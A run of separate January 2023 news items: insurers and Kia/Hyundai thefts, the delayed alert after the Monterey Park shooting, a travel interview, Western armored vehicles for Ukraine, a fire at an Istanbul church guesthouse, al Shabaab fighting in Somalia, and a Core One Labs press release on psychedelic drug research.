Other insurers, such as Nationwide and Geico, have opted to raise drivers premiums on those makes and models instead. St. Louis insurance agent Osvaldo Aguilar said premiums on those specific cars are increasing at a higher rate than other vehicles.

Maplewood resident Jay Zunich said the six-month Geico premium for his 2020 Hyundai Elantra went up by about $200 when he renewed the policy in December  from about $600 to $800.

My first thought is, Holy cow thats outrageous, he told the Post-Dispatch. So I start shopping around.

He, too, was denied by Progressive. Other companies quoted him rates as high as $350 a month for his car, even though his Elantra is a push-start and cannot be stolen the way key-start models can be.

Its definitely frustrating, he said.

Despite companies increasing rates  and outright refusals by others  Missouris Insurance Consumer Affairs Division, which investigates complaints against insurance companies, has not received any complaints about companies refusing to provide coverage, said Caty Luebbert, a spokeswoman for the division.

We are aware that insurance companies are considering business decisions on how best to deal with the rise in thefts of certain makes and models of these vehicles, Luebbert wrote in an email. Our department is monitoring the situation and working diligently to ensure that the business decisions comply with the Missouri insurance laws and regulations.

The companies are well within their rights to refuse new policies, said Barry, with the Insurance Information Institute. He noted that insurance companies generally want to keep existing customers, but they can legally issue nonrenewal notices to policyholders as long as they provide about two months notice.

Officials recommend drivers secure their Hyundais and Kias with a car wheel club and contact the manufacturers about security kits that can be installed to prevent theft. A Hyundai spokesperson said engine immobilizers are now standard on all Hyundai vehicles produced as of November 2021 and Kia also told the Post-Dispatch the device is now standard on all vehicles, and always has been on the company's push-start vehicles.

Three national insurance groups sent a joint letter to YouTube last week urging the social media platform to remove how-to videos that provide detailed instructions for stealing Kias and Hyundais.

And in August, St. Louis took steps to hold the car manufacturers accountable, demanding in a letter that the companies take responsibility for the thefts, and threatened a lawsuit over the defect if they did not.

Kia and Hyundai attorneys noted in their response to the city the security device is not federally required.

But in an ongoing, national class-action suit against the manufacturers, attorneys argue it is federally required for cars to have a system that does not start or steer when the key is removed.

When the key is removed from the starting system, neither steering nor forward self-mobility is prevented, the suit said. If it were, the vehicles would not be stolen at alarming rates.

Editor's note: This story has been updated to correct the percentage increase in Kia and Hyundai thefts from 2021 to 2022.
Lost in the aftermath of the Monterey Park, California, ballroom dance hall shooting that left 11 people dead is an alarming fact: It took five hours for authorities to alert the public that the gunman was on the loose Saturday night.

Even after the 72-year-old shooter brought a submachine gun-style weapon into another nearby dance hall about a half-hour later, a potential attack thwarted by a hero who grabbed the weapon and chased the man away, it would be hours more before police held a news conference to announce the suspect was still at large.

Experts say the weekend mass shooting that sent fear through Los Angeles-area Asian American communities highlights the lack of national standards for notifying the public, and the need for an aggressive alert system  similar to Amber alerts  that would immediately set off alarms on cellphones in surrounding areas and post warnings on highway signs.

"Five hours is kind of ridiculous," said Chris Grollnek, an expert on active-shooter tactics and a retired police officer and SWAT team member. "This is going to be a really good case study. Why five hours?"

Brian Higgins, a former SWAT team commander and police chief in Bergen County, New Jersey, said an alert should have gone out right away, and a half hour between the two incidents was more than enough time to do so.

"What took so long?" said Higgins, an adjunct professor at New York's John Jay College of Criminal Justice. "Maybe they were still doing their investigation. Maybe they didn't have a good handle on what they had. But if they didn't know, they should have erred on the side of caution and put this out."

Los Angeles County Sheriff Robert Luna on Monday said his department was "strategic" in its decision to release information but that he would review what happened.

"When we started putting out public information, the priority was to get this person into custody," Luna said. "Ultimately it worked. We will go back and look at it as we always do. Nobody is as critical as ourselves as to what worked and specifically what didn't work, and evaluate that, and see what the wait was in determining what the public risk was at that time."

A timeline of events shows police were silent for hours, not only about a shooter being on the loose but about the fact that a shooting had taken place at all, with information trickling from police scanners and sources rather than official channels. The delays came just hours after tens of thousands of revelers had been in the streets of the heavily Asian American city for a celebration of the Lunar New Year.

Authorities said the first call about the shooting at the Star Ballroom Dance Studio came in Saturday at 10:22 p.m. local time and officers responded within three minutes. Monterey Park police said it took several minutes for officers  several of whom were rookies on the force  to assess the chaotic scene and look for the gunman, who had already fled.

About 20 minutes after the first shooting, at 10:44, the gunman who would later be identified as Huu Can Tran marched into the Lai Lai Ballroom about 3 miles away in Alhambra. He was confronted in the lobby by 26-year-old Brandon Tsay.

Tsay, a computer coder who helps run the dance hall for his family, told The New York Times he was unaware of the previous shooting in Monterey Park when he lunged at the man and began struggling to get the weapon out of his hands. Tsay eventually commandeered the weapon, ordered him to "Go, get the hell out of here!" and watched as he drove away in a white van.

More than an hour later, at 11:53 p.m., word came that the shooter was still at large  not from an official source, but from a media outlet monitoring police chatter on a scanner. "The suspect is still on the loose according to PD on scene," RMG News tweeted.

The Associated Press began telephoning the Monterey Park police and fire departments and the Los Angeles County Sheriff's Department shortly before the RMG News alert, and kept calling for nearly three hours. Monterey Park police never responded. A sheriff's official confirmed to the AP there were nine dead shortly before 2:36 a.m. Sunday, when the AP published an alert.

At 2:49 a.m., the Los Angeles County Sheriff's Information Bureau issued a news advisory confirming the fatalities and adding the suspect was male. There was still no mention he was on the loose.

Finally, just after 3:30 a.m., five hours after the shooting, Los Angeles County Sheriff's Capt. Andrew Meyer held a news conference to announce the death toll was 10 and for the first time publicly stating "the suspect fled the scene and remains outstanding."

By midday Sunday, police 30 miles away in Torrance swarmed a strip mall parking lot and surrounded a white van matching the description of the one Tran was last seen driving. After approaching carefully, SWAT teams broke in at 1 p.m. and found Tran dead in the driver's seat with a self-inflicted gunshot wound.

Vibrating smartphone warnings about everything from missing children and senior citizens to impending snow squalls and flash floods have become commonplace over the past decade. More than 1,600 federal, state and local jurisdictions  including Los Angeles County  are equipped to send such cellphone alerts through the federally funded Integrated Public Alert and Warning System, according to the Federal Emergency Management Agency.

We have the technology, said former FBI agent Gregory Shaffer, now head of a Dallas-based risk management and tactical training firm. Its just not being utilized.

Photos: Mass shooting at Lunar New Year celebration in California
When Lexi Hensler created HUGZ (https://givehugz.co/), it was with the intent to provide comfort for those suffering from depression. As someone who was bullied as a child, she knew how difficult it could be to feel alone. A portion of her line of weighted stuffed animals benefits nonprofit organizations that concentrate on mental health initiatives. Now 25, the Los Angeles-based entrepreneur and content creator has made it her mission to live each day to the fullest. She chronicles her life and adventures on Instagram (https://www.instagram.com/lexihensler/).

Q: You have a bucket list with 50 items. How many have you completed?

A: Over 25, which has absolutely blown me away! I have skydived out of a plane as well as a hot air balloon, swam with sharks many times, flew a helicopter, slept in a glass igloo in northern Finland, met the beautiful native Sami people and their reindeer. I stayed in an underwater hotel in the Maldives. My advice to anyone would be to not need a near-death experience to start their bucket list and to make the most of every day.

Q: What is your favorite vacation destination?

A: Maldives! From Los Angeles, it takes about 25 hours to get there, but it is well worth it. I am a self-proclaimed workaholic, so I love taking a vacation somewhere where I can fully relax and unwind. The Maldives hit every high mark for me. It has some of the most beautiful beaches I've ever seen. The sunsets are next level. The Maldivians take such great care of the land and oceans as well. I got to snorkel in a thriving coral reef and see types of fish that I had never seen before. It is a very relaxing place and pretty much all the activities are water based.

Q: What untapped destination should people know about?

A: I am absolutely obsessed with Bermuda, which is just a short two-hour flight from the East Coast. Growing up, I had heard about the Bermuda Triangle and did not think that I could ever travel there. In 2021, I was invited on a business trip to Bermuda. I have to admit that I was a little leery of flying right into the Bermuda Triangle, but I am so glad that I made the trip. It is much less touristy than other places like the Bahamas.

Q: What's the most important thing you've learned from your travels?

A: It may sound ironic, but through traveling Ive learned how important it is to travel. When you travel, you learn so much about other cultures, traditions, and ways of life. In some countries, they highly encourage their people to travel and find the best ideas and bring them back to implement into their own country. Ive been blessed to meet so many wonderful people from across the world, who have shared their culture with me and helped me grow as a person.

Q: If you could only pick one place to eat, would you prefer a food truck or fine dining?

A: I am a food truck girl all the way. I actually dont enjoy fine dining very much. I think the only part that I am a fan of is getting dressed up. Theres nothing better than local, good food from a favorite hole-in-the-wall spot. I guess that Im a cheap date.

Q: What kind of research do you do before you go away on a trip?

A: Before I leave for an international trip, I always start by researching the country that I will be visiting. I want to be as respectful as possible to a countrys traditions and customs. In addition, it is important to look up any visa requirements, recommended vaccinations, currency information, as well as the contact information for the U.S. Embassy. I also go online to the State Department's website to obtain more information on the place that I intend to visit, as well as register my trip with the State Department in case of emergency. I like to map out the location of my hotel to the various activities. Through research, I like to look up the must-see spots and food places. However, I have found that the best way to find a bite to eat is by asking a local for their recommendations.

Q: When you go away, what are some of your must-have items?

A: I travel so much that I am continuously trying to perfect my packing list. I keep a running checklist in my phone notes app so that I never forget a thing. My must-have items include important documents, medications, packing cubes to keep things organized in my suitcase, sunscreen, comfortable walking shoes, shoe covers, and a laundry bag for dirty clothes. I am totally the person who needs a neck pillow on a long flight and I sometimes bring a travel blanket since I run cold. I always pack a mini luggage scale to weigh my bag because I love shopping and I want to make sure my bag isnt overweight when trying to come home. And dont forget your adapter if youre traveling out of the country.
American leaders are stalemated over sending M1 tanks t0 Ukraine. Most politicians and Americans in general prefer sending Ukraine the M1s so the Russians will be pushed out of Ukraine sooner rather than later. Senior military officials insist that the Ukrainians wont learn to use the M1s quickly enough to make a difference. The Ukrainians disagree and point to many recent examples of their quickly adapting to new weapons systems in terms of operators and maintainers. The American opposition is coming mostly from the same experts who initially predicted that the larger and better equipped Russian force would soon defeat the Ukrainians. The United States has thousands of M1 tanks in reserve. These are not the latest models but were seen as adequate replacements for M1 tanks lost in some future conflict. That conflict is going on now in Ukrainian except that, because Ukraine is not a NATO member, they are willing to do all the fighting if NATO continues sending all the weapons and munitions they need. The Americans have already stalled on sending some weapons (like longer range missiles and any tanks at all) for fear of angering the Russians and triggering an expanded war. That has not happened and the Russians have taken unprecedented losses. Senior American military officials appear to accept reality because it is so radically different from what they predicted.

Germany had a similar situation but was willing to allow other NATO members, like Poland, to send their Leopard 2 tanks anyway, without reference to what the Americans do with their M1s. Britain is ignoring American misgivings and sending fourteen of their similar Challenger 2 tanks. The problem is that there are thousands of unused Leopard 2 and M1 tanks available but only a few hundred Challenger 2s. Britain could not afford to build as many tanks as Germany and the Americans, and simply didn't have many to send. Germany finally heeded the pleas of Poland, the Baltic States and Ukraine by no longer trying to block Leopard 2s from going to Ukraine. Poland borders Ukraine and has been preparing to move the tanks into Ukraine. The only NATO nation with M1 tanks is Poland, which ordered 250 and has already received seven to be used for training crews and maintainers. Poland has 247 Leopard 2s and a dozen are being sent to Ukraine immediately for training crews and maintainers. Some of that training may already have taken place in Poland. Sending Leopard 2s to Ukraine is a popular move to most Poles, who see themselves as next on the Russian invasion list. The Ukrainian can stop the Russians sooner with the tanks. Russia continues to make vague threats of reprisals if NATO escalates the situation by sending tanks. Ukrainians regard these as empty threats. Russia has already thrown everything it has at Ukraine and failed. The Russians are planning a Spring Offensive with new troops who are poorly trained, led and armed. This wont succeed but it will get more Ukrainians killed and delay the expulsion of Russians from all Ukrainian territory. The Polish Leopard 2s enable Ukraine to hit the Russians first and speed up the end to Russian control of any Ukrainian territory.

While the Americans wont send M1s, they have agreed to send a useful collection of other weapons and vehicles. This includes 59 Bradley IFVs (Infantry Fighting Vehicles) armed with 590 TOW anti-tank missiles and 295,000 rounds of 25mm ammunition for the 25mm autocannon each M2 has.

Also headed for Ukraine are 90 Stryker APCs (Armored Personnel Carriers) with 20 mine rollers. These are 8x8 wheeled vehicles introduced in 2002. Stryker was successful in Iraq and Afghanistan but only about 5,000 were built and the army no longer needs all it has.

The U.S. is also sending 53 MRAPs (Mine Resistant Ambush Protected Vehicles). Ukraine has already received some of these armored trucks and can use more.

Finally, Ukraine is getting 350 more hummers (High Mobility Multipurpose Wheeled Vehicles or HMMWVs). These are not combat vehicles but excellent for moving people and material cross country in a combat zone.

The U.S. is also sending additional missiles of the munitions for the NASAMS (National Advanced Surface-to-Air Missile Systems) Ukraine already has. Another eight Avenger air defense systems are going as well.

While the U.S. has already sent over a million 155mm artillery rounds (50,000+ tons), they are sending 20,000 more plus about 600 GPS- guided 155mm artillery rounds and 95,000 105mm artillery rounds for the few 105mm howitzers sent to Ukraine.

Along with the M2s, Germany is sending 40 similar Marder IFVs and France a dozen or more 6x6 wheeled AMX-10 RC armored reconnaissance vehicles. These have a crew of four and a turret mounted 105mm gun. The M2s, Marders and Strykers carry a squad of infantry in addition to an autocannon.

These IFVs are not as well protected or heavily armed as tanks but are useful because current Ukrainian tactics use similar Soviet-era armored vehicles and T-72/80 tanks for attacks. The tanks do not lead, but are behind the infantry vehicles providing direct 125mm cannon fire at targets the infantry designate. The Western IFVs are more effective than what Ukraine already has but Western tanks like M1s and Leopards can get out front because they are better protected and more reliable that T-72s. That has been demonstrated several times in combat since the 1990s. Ukrainian leaders point out that not having M1s or Leopard 2s means the war will last longer and more Ukrainians will be killed. Despite this, tanks are not being sent, but IFVs are.

Since September, Germany has been promising to send Ukraine a hundred Marders. Domestic politics and Defense Ministry problems prevented that. Germany is under increasing pressure from its NATO allies to deliver Marder 1A3 IFVs to Ukraine. The manufacturer, Rheinmetall, assured the government in March that it could upgrade 100 of the retired Marders to the 1A3 standard within weeks and send them off to Ukraine. Initially the German government agreed, but then, for the usual political and Defense Ministry reasons, halted the shipment of Marders to Ukraine. The problem was not Germans, who generally backed sending the IFVs, but German politics and most Germans were unsure of exactly what was going on here.

This is nothing new. German defense policy since the end of the Cold War in 1991 has been an inexplicable mess. Before the Soviet Union dissolved in 1991, West Germany (the Russians still occupied East Germany until 1990) was the largest, best equipped and formidable military force in NATO. In 1989 the West German military had half a million active-duty troops. Five years later a united Germany had a force of 250,000 and the reductions continued until 2014, when there were only 179,000 troops. The situation changed in 2014 because Russia seized portions of Ukraine. Ukraine mobilized forces faster than expected and halted the Russian operation in eastern Ukraine (Donbas). In 2022 Russia decided to finish the job and invaded all of Ukraine. That was a major disaster for Russia.

After 2014 Ukraine sought to rearm and asked for support from NATO, which NATO provided. Many NATO members, especially the East European nations that joined after 1991, saw themselves as next on the target list if Russia succeeded in Ukraine. These Russian attacks on Ukraine were a major disappointment for Germany. With the largest economy in Europe, Germany took the lead in establishing economic links with Russia. This was seen as the best way to keep the peace, including Germany becoming dependent on Russia for most of its natural gas and oil needs. Plus the Russians generously rewarded German leaders, and still do.

Meanwhile the German military never recovered from the huge personnel and budget cuts that occurred between 1991 and 2014. In 1990 Germany spent $40 billion (2.52 percent of GDP) on defense. By 2001 that was down to $26 billion (1.32 percent of GDP). By 2o14 defense spending was only 1.15 percent of GDP. By 2020 it was 1.4 percent and the German military was still lacking many basic weapons (armored vehicles, warplanes and warships) and the money to keep them operational. Often less than 20 percent of these weapons were combat ready. It was an endless scandal that was made possible by the inability to expand the size of the military. By 2019 Germany had only been able to expand its military by 5,000 troops (to 184,000.)

Ukraine went through similar reductions in defense spending and military personnel in the 1990s, but after 2014 rebuilt their military much more effectively than anyone, especially the Russians, expected.

The Marder IFV is very effective, and probably the best IFV developed by any NATO nation during the Cold War. Between 1968 and 1975 Germany produced 2,103 Marders and only the Germans used them until the 1990s. By 1991 the Marder had been upgraded to the 1A3 standard and as the German army retired them, export customers could finally obtain them. A replacement for the Marder was not put into service until 2015, when the first Puma IFVs entered service. The 41-ton Puma was larger than the Marder but the 34-ton Marder 1A3 had most of the new tech the Puma used. Only 350 Pumas have been built so far due to design and production defects. There are many more Marder 1A3s available and Ukraine saw this as an opportunity to equip their new offensive force with one of the best IFVs available. So far in September Ukrainian forces have destroyed about a quarter of the Russian forces in Ukraine and recovered much territory the Russians had occupied in 2022. The Ukrainians are still at it and point out that their efforts would be more effective if they had the hundred Marder 1A3s Germany had promised them back in March. That is being blocked by the dysfunctional and perplexing German defense decision making that has been the norm since the 1990s. That obstacle was finally overcome in late 2022.

The first Pumas were delivered to the German Army in 2015, and all 350 were delivered by 2021. Puma was to replace Cold War era (1970s) Marders. Puma contains lots of innovations, many of them suggested by Marder users. The basic model has a remote (from inside the vehicle) control turret equipped with a new 30mm automatic cannon. This type of system has worked well in Iraq, where it was widely used in American vehicles.

The Puma's 30mm cannon can fire computer-controlled shells that will detonate inside buildings or over troops taking cover behind a wall or in a trench. The 30mm cannon can fire up to 200 rounds a minute, and has a range of 3,000 meters. Optional weapons include a guided missile launcher or automatic grenade launcher. The 30mm gun has an armor piercing round that is also effective against personnel. The Puma has a crew of three (commander, gunner and driver), carries up to eight infantrymen (or cargo) in the rear troop compartment, and is "digital." Noting the success, the U.S. Army has had with equipping their armored vehicles with "battlefield Internet" communications equipment, the Germans did the same with Puma.

While the Puma was designed to accept additional armor protection, the Germans preferred to use the 32-ton version, which is about what the Marder 1A3 weighs. Rheinmetall has no problem designing and building these IFVs and most Germans support giving them to Ukraine. Whats missing is a government that can make a decision and carry it out. In the end the Pumas did not go to Ukraine because field tests of 18 Pumas in December saw all 18 fail under simulated combat zone conditions. Marders were sent instead because they worked and had similar capabilities.
YEREVAN, JANUARY 24, ARMENPRESS. Two people died and 2 others were injured after a fire broke out in the lodging section adjacent to the Holy Saviour (known as Surp Prgic church) Armenian Catholic Church in Istanbuls Beyoglu district.

The fire erupted at 21:45, January 23, Istanbul-based Zhamanak newspapers Editor-in-chief Ara Gochunyan told ARMENPRESS.

He said the firefighter-rescue team arrived immediately. Armenian Catholic Archeparch of Istanbul Archbishop Levon Zekiyan was also on the scene.

The fire broke out in an old guesthouse which was supposed to undergo restoration, but this tragedy took place. 7 people were living in the guesthouse, two of them died, and two others are hospitalized, Gochunyan said. He said they dont have any information on what caused the fire.

The fire was extinguished around 2:00, January 24.

Thank God, the church itself is preserved, the fire did not reach the shrine, Gochunyan said.

The two victims who died  Josephine Ekmekchi and Fehim Atsup - were members of the Armenian Catholic community, according to Gochunyan.
A U.S. Air Force A-10 Thunderbolt II practices at Davis-Monthan Air Force Base, Arizona, Jan. 4, 2023. The A-10 Demonstration Team travels around the country to different airshows to showcase the abilities of the A-10 and its Airmen, as well as their contributions to the Air Force mission and national security. (U.S. Air Force photo by Staff Sgt. Alex Stephens)

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January 24, 2023: The United States, along with a lot of other foreign investors have, since mid-2022 seen Somalia as safe enough for expensive investments. There are still problems investors have to deal with. While the Somali government has achieved a level of stability that encourages more investments, they have to understand that this stability has not eliminated al Shabaab or the corruption and clan loyalty Somalia now has a stable democratic government. In mid-2021 the elected parliament finally approved a new 75-member cabinet. There was something for everyone, including a senior job for a former Islamic terrorist who was one of the founders of al Shabaab and is now working in the government religious affairs department. During the proceedings there were several al Shabaab mortar shells landing near the Parliament compound. There were no casualties. Its been a long and tedious process to reach June 2021 when the new parliament met and approved the new prime minister selected by the president. This formation of a new government came after several years of efforts to overcome clan and warlord objections to democracy in general. The elections were held and results certified in May 2021, producing a parliament and new president. The prime minister was the one who actually f0rms a government by filling dozens of key jobs with candidates that will not cause disputes in parliament over who got what. Somalia is still dominated by the power of the clans and the blind loyalty to clan even when it harms national unity. Overcoming this factionalism in a democracy is often very difficult. So far it appears that a majority of Somali leaders are willing to give a clean government a chance to work in Somalia. The key test was forming the new government successfully. The stability came at a price because the United States, which supplies most of the foreign aid, agreed to funnel nearly all of it through the central government, which would then distribute the money to where it was needed the most for economic, security or political reasons. This gradually ran into problems as the clan loyalties of central government ministers became more of a factor in who got what and how much of that went to the minister for services rendered. Many Americans who have long worked in Somalia (as soldiers, aid workers or investors) warned that this would happen. At the same time the U.S. government remains hostile to the independent Somali states of Puntland and Somaliland in the north.

These two independent Somali states have enjoyed a degree of peace and prosperity since the 1990s because they declared themselves independent. However, all is not perfect up there. Puntland and Somaliland have been having some internal problems but much less so than in Somalia. Northern Somalia has been better governed since breaking away from Somalia in the 1990 to form Puntland (2.5 million people) and Somaliland (3.5 million). The other two-thirds of the Somali population live in the south, which has been in perpetual chaos since 1990 with a lasting central government established only recently, and demand that Puntland and Somaliland surrender their independence and rejoin the rest of Somalia. The north refuses because they recognize the problems the south still has, even if the American government does not. While the official U.S. government position is that Somalia is safe and stable enough for the north to rejoin, the northern Somalis and many Americans with long experience in Somalia side with the northerners. Despite that, some northerners back reunification but so far they are a minority holding public rallies backing reunification. The northern governments see this as another southerner threat and attack the separatists. The separatists had the support of some northern clan leaders and became another dispute the northern governments have to resolve, which they tend to do more frequently than the southern governments.

The difference between the northern and southern governments is that the northerners have been more amenable to compromise and less eager to use clan loyalty as an excuse to lie, cheat and steal as a government official. The north is not free of corruption, just more realistic and disciplined about it. During 2022 the Somali state suffered 613 civilian deaths and nearly a thousand wounded because of al Shabaab attacks. Losses among the security forces were a bit less.

January 22, 2023: In Mogadishu al Shabaab used a truck bomb to create a breach in the wall next to the mayors office. Al Shabaab gunmen went through the breach and got inside the government offices and occupied them for four hours. The six al Shabaab gunmen were killed and that ended the occupation. Six civilians were killed by the explosion and gunfire. The government employees were safely evacuated from the area before the siege began.

January 20, 2023: In central Somalia (260 kilometers north of Mogadishu) an American airstrike killed 30 al Shabaab members and three of their gun-trucks. This was to assist an army base besieged by over a hundred al Shabaab men. The siege had already left six soldiers dead and many more wounded. The airstrike broke the siege. The soldiers defending the base had already killed or wounded over a hundred of the original attack force. Until the airstrike the al Shabaab fighters seemed determined to continue the siege. Some of the defenders were members of the hated (by al Shabaab) American trained Danab special operations brigade. This was the first American airstrike in Somalia this year. Since early 2017, when Africom (U.S. Africa Command) increased its use of armed UAVs over Somalia, there have been about 170 UAV airstrikes that have killed nearly a thousand al Shabaab and ISIL members. In 2020 there were fifty of these UAV airstrikes and 275 in Somalia in the last decade. In 2021 there were seven UAV airstrikes and fifteen in 2022.American forces, and airstrikes, returned t0 Somali in 2022. This was prompted by the formation of a new Somali government. All American airstrikes are at the request of the Somali government.

January 19, 2023: Outside Baidoa (250 kilometers southwest of Mogadishu) soldiers found and attacked an al Shabaab camp, killing twenty of the Islamic terrorists, including a command. Five soldiers died as well.

January 18, 2023: North of Mogadishu (Middle Shabelle) the army killed nearly fifty al Shabaab men during a surprise attack on an assembly point for an al Shabaab force planning to make several attacks.

Down south, across the border in northeast Kenya (Garissa county) police and soldiers tracked down and killed ten al Shabaab men who had been responsible for a number of recent attacks on security forces and civilians.

January 17, 2023: North of Mogadishu (Middle Shabelle) al Shabaab attacked an army base, killing eleven soldiers (including an officer) and wounding several others. The attack was repulsed even though it began with an al Shabaab suicide bomber detonating a truck bomb at the main gate to the base.

January 16, 2023: Some 400 kilometers north of Mogadishu (the port town of Harardhere) soldiers drove al Shabaab 0ut of the port town that had long been a base for Somali pirates. Piracy has declined considerably because of the international piracy patrol and ships taking precautions while near Somalia. Harardhere came under control of al Shabaab in 2009 and is one of the few port towns they still control for short periods before being driven out again. The main pirate bases were always in the far north (Puntland) where the local government provided some protection from foreign interference. The Puntland eventually turned on the pirates and drove them from the ports they were using.

Down south in Somalia (Galmudug state) the army drove al Shabaab out of two towns and established local security to keep al Shabaab out, or at least make it more difficult for them to get back in.

January 14, 2023: In Hirshabelle state (220 kilometers north of Mogadishu) al Shabaab was responsible for three bombings that left 15 dead and fifty wounded. Some sixty kilometers further south soldiers at a checkpoint detected that an approaching truck was a suicide truck bomb. The driver was shot dead but not before he set off the explosives, killing himself and several bystanders,

January 9, 2023: Somaliland announced that oil had been discovered within its borders and the British firm doing the test drillings will continue to develop the find.

January 8, 2023: The United States announced that Somalia would receive $9 million in additional military aid to assist the fight against al Shabaab.

January 6, 2023: North of Mogadishu (Middle Shabelle) al Shabaab attacked an army base, killing seven soldiers and wounding several others. The attack was repulsed.
VANCOUVER, BC / ACCESSWIRE / January 24, 2023 / Core One Labs Inc. (CSE:COOL)(OTCQB:CLABF)(Frankfurt:LD6)(WKN: A3CSSU) (the "Company" or "Core One"), in follow-up to its press release dated September 16, 2022, is pleased to announce that its wholly owned subsidiary Akome Biotech Ltd. ("Akome") has finalized study parameters and signed a contract with Fundaci Bosh I Gimpera, in representation of Universitat de Barcelona (the "University of Barcelona"), to commence the second phase ("Phase 2") studies to evaluate the therapeutic potential of its bio-compounds, alone and in combination with various psychedelic compounds, on the central nervous system.

The studies are the next step of Akome's pre-clinical development of novel psychedelic drug alternatives for the treatment of various neurological disorders, such as Alzheimer Disease ("Alzheimer's"), Parkinson's Disease ("Parkinson's"), Ischemic Stroke ("Stroke") and Depression, (collectively the "Targeted Diseases").

Part of Akome's phase one ("Phase 1") studies included bioassay studies conducted by Neuro-Zone Srl, ("Neuro-Zone") (see Company press release dated April 2, 2022), Fundacion Medina (Granada, Spain) and Universidad Complutense (Madrid, Spain), aiming to confirm central nervous system activity of the specific plant bio-compounds covered in Akome's various United States Patent and Trademark Office (USPTO) patent submissions and underlying neuropathological mechanisms related to the targeted diseases. Results from Phase 1 bioassay studies were very encouraging, indicating that the bio-compounds alone have a strong potential to induce beneficial effects.

Leading from the success of Phase 1 studies, commitment has been received from Dr. Merce Pallas Lliberia and Dr. Christian Grinan Ferre, from University of Barcelona (the "Investigators") and studies have now been designed to conduct Phase 2 in vivo (within living organisms) bio-assay studies, which will comprise the incorporation of the nematode (worm) Caenorhabditis elegans ("C. elegans", or the "organism").

The C. elegans has all the physiological properties of an animal, the ability to replicate human diseases and also has a fast life cycle, making it a highly desirable animal model for Phase 2 bio-assays. Ever more germane to the studies, however, is the worm's very well characterized central nervous system.

The main endpoint of Phase 2 studies will be to demonstrate how the defects in molecular and cellular processes that cause or contribute to the specific targeted diseases could be mitigated or prevented within the C. elegans when exposed to Akome's stand-alone bio-compounds, and to explore effects when the bio-compounds are paired in various combinations with active psychedelics.

It is hypothesized that positive results from the anticipated C. elegans studies will reinforce findings from Phase 1 bio-assay studies, which focused specifically on Akome's bio-compounds, and also provide preliminary evidence that psychedelics and the bio-compounds act synergistically, thereby enhancing the desired therapeutic effects while allowing dose reductions and, consequently reduction in the risk of adverse events associated to psychedelic therapies.

"It is a wonderful opportunity for Akome to engage with University of Barcelona researchers having robust experience with the C. elegans model. This model brings many advantages as the initial, including having many of the physiological properties of mammals, the ability to resemble human disease underlying processes, all within a very fast life cycle. It is a model that has been extensively used to study many neurodegenerative diseases. Since the neuronal connectivity in C. elegans has already been clearly described, C. elegans is also advantageous in testing neurological effects of biological compounds, and the impact they may have on learning and memory impairments observed during neurodegenerative illnesses", stated Santiago Ferro, Core One's Chief Medical Officer, and CEO of Akome.

Board Appointment

The Company is also pleased to announce the appointment of Dr. Santiago Ferro, Chief Executive Officer of Akome, to the Company's board of directors.

Dr. Ferro is a world-renowned physician with over 20 years' experience in pharmaceuticals, biologicals and biotech industries. Dr. Ferro has held many prestigious senior research and development positions with global responsibilities for clinical development programs, design, implementation, and analysis of clinical trials data, and has a proven record of generating and building relationships, managing projects from concept to completion, as well as designing clinical plans to meet market targets and bringing products to success.

A graduate of Javeriana University Medical School in his native Bogota, Colombia, Dr. Ferro specialized in Internal Medicine, and later received his sub-specialty training in Infectious Diseases at the University of Toronto. Following completion of his medical and specialty training, he returned to Bogota and established a private practice in both Internal Medicine and Infectious Diseases, while at the same time holding academic positions at different teaching hospitals.

Over the years, Dr. Ferro built a distinguished reputation in his fields of study, having over twenty-five scientific publications in peer reviewed journals and medical textbooks; and being featured in multiple international scientific conferences.

Dr. Ferro will continue in his role as Chief Execute Officer of Akome as well as Chief Medical Officer of Core One.

The Company also wishes to announce that, effective immediately, Dr. Robert E.W. Hancock, OC, PhD, OBC, will step down as Chairman and Director from the Company's board of directors, and dedicate his time in a new appointment as Head of Scientific Development for Vocan Biotechnologies Inc. ("Vocan"), a wholly-owned subsidiary of Core One. In this capacity, Dr. Hancock will continue to build and nurture Vocan's growth through his invaluable expertise and insight into the psychedelics industry.

"In my new dedicated capacity as Head of Scientific Development, I will continue to support and guide the Company's vision. When I first founded Vocan years ago, my goal was to successfully produce biosynthetic psilocybin, and not only has that been achieved, but it has been exceeded with proven replication of the production method effectively expanding in scope. I maintain my commitment to the Company in my new capacity, as we progress further towards becoming a market leader in psychedelic medicine," Dr. Hancock further stated".

About Core One Labs Inc.

Core One Labs is a life sciences biotechnology research and development company focused on bringing psychedelic medicines to market through the development and production of psychedelic compounds, the advancement of psychedelic assisted treatments, and the integration of novel delivery systems technology.

The Company has a multi-faceted business approach and incorporates several complementary lines of businesses and units in establishing itself as an industry leader in the rapidly growing and emerging psychedelics market space.

Core One, through its wholly owned subsidiary Vocan Biotechnologies Inc., has developed and filed for patent protection of a proprietary psilocybin production system using engineered bacteria. It is also the holder of 4 provisional patents for the development of psychedelic-based pharmaceutical formulations targeting neurological and mental health disorders, under its 100% owned subsidiary Akome Biotech Ltd., and 3 provisional patents under its other 100% owned subsidiary, Awakened Biosciences Inc., for additional synthetic technologies for psilocybin and psilocin production methods.

In addition to the development of psychedelics and psychedelic compounds, Core One holds an interest in four medical clinics which maintain a combined database of more than 275,000 patients. Through its clinics the Company intends to integrate a roll out of its intellectual property related to psychedelic technologies and participate in the advancement of psychedelic-based treatments for mental health disorders.

Core One Labs Inc.

Joel Shacker

Chief Executive Officer

FOR MORE INFORMATION, PLEASE CONTACT:

[email protected]

1-866-347-5058

Cautionary Disclaimer Statement:

The Canadian Securities Exchange has not reviewed and does not accept responsibility for the adequacy or accuracy of the content of this news release.

Information set forth in this news release contains forward-looking statements that are based on assumptions as of the date of this news release. These statements reflect management's current estimates, beliefs, intentions, and expectations. They are not guarantees of future performance. The Company cautions that all forward-looking statements are inherently uncertain, and that actual performance may be affected by a number of material factors, many of which are beyond the Company's control. Such factors include, among other things: risks and uncertainties relating to the Company's limited operating history and the need to comply with strict regulatory regulations. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward-looking information. Except as required under applicable securities legislation, the Company undertakes no obligation to publicly update or revise forward-looking information.

In addition, psilocybin is currently a Schedule III drug under the Controlled Drugs and Substances Act (Canada) and it is a criminal offence to possess substances under the Controlled Drugs and Substances Act (Canada) without a prescription or authorization. Health Canada has not approved psilocybin as a drug for any indication. Core One does not have any direct or indirect involvement with illegal selling, production, or distribution of psychedelic substances in jurisdictions in which it operates. While Core One believes psychedelic substances can be used to treat certain medical conditions, it does not advocate for the legalization of psychedelics substances for recreational use. Core One does not deal with psychedelic substances, except within laboratory and clinical trial settings conducted within approved regulatory frameworks.

SOURCE: Core One Labs Inc.

View source version on accesswire.com:
